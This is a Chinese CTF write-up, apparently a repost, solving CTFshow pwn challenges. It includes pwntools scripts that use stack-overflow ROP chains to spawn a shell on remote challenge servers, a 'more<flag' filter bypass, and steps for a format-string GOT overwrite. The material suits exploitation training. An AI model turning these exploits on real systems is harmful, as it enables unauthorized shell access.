PWN-PRACTICE-CTFSHOW-5
生活随笔
收集整理的這篇文章主要介紹了
PWN-PRACTICE-CTFSHOW-5
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
PWN-PRACTICE-CTFSHOW-5
- BJDCTF2020-router
- 36D杯-簽到
- 36D杯-babyFmtstr
- 36D杯-MagicString
BJDCTF2020-router
36D杯-簽到
棧溢出,用ROPgadget找到一個"sh"字符串,ROP,程序過濾了cat和空格,more<flag繞過即可
# -*- coding:utf-8 -*- from pwn import * context.log_level="debug" #io=process("./pwn1") io=remote("pwn.challenge.ctf.show",28041) elf=ELF("./pwn1")system=elf.plt["system"] sh=0x601040 pop_rdi=0x4006d3 ret=0x4004cepayload="a"*0x20+"b"*8+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system) io.sendline(payload)io.sendline("more<flag")io.interactive()36D杯-babyFmtstr
格式化字符串漏洞
1、改寫memset的got為main函數地址,重復利用格式化字符串漏洞
2、利用格式化字符串漏洞,泄露libc,得到system真實地址
3、改寫printf的got為system真實地址
4、輸入/bin/sh\x00
36D杯-MagicString
棧溢出,利用look_here函數將字符串"ti"變為"sh",再ROP執行system("/bin/sh\x00")即可
# -*- coding:utf-8 -*- from pwn import * context.log_level="debug" #io=process("./pwn1") io=remote("pwn.challenge.ctf.show",28137) elf=ELF("./pwn1")main_addr=0x400661 system=elf.plt["system"] look_here=0x40062D ti=0x60104d binsh=0x601048 pop_rdi=0x400733 ret=0x4004d1io.recvuntil("a girlfriend!\n") payload="a"*0x2a0+"b"*8+p64(pop_rdi)+p64(ti)+p64(look_here)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system) io.sendline(payload)io.interactive()總結
以上是生活随笔為你收集整理的PWN-PRACTICE-CTFSHOW-5的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: B站UP主10条视频卖30元:两天赚了6
- 下一篇: java实体类属性非空判断工具类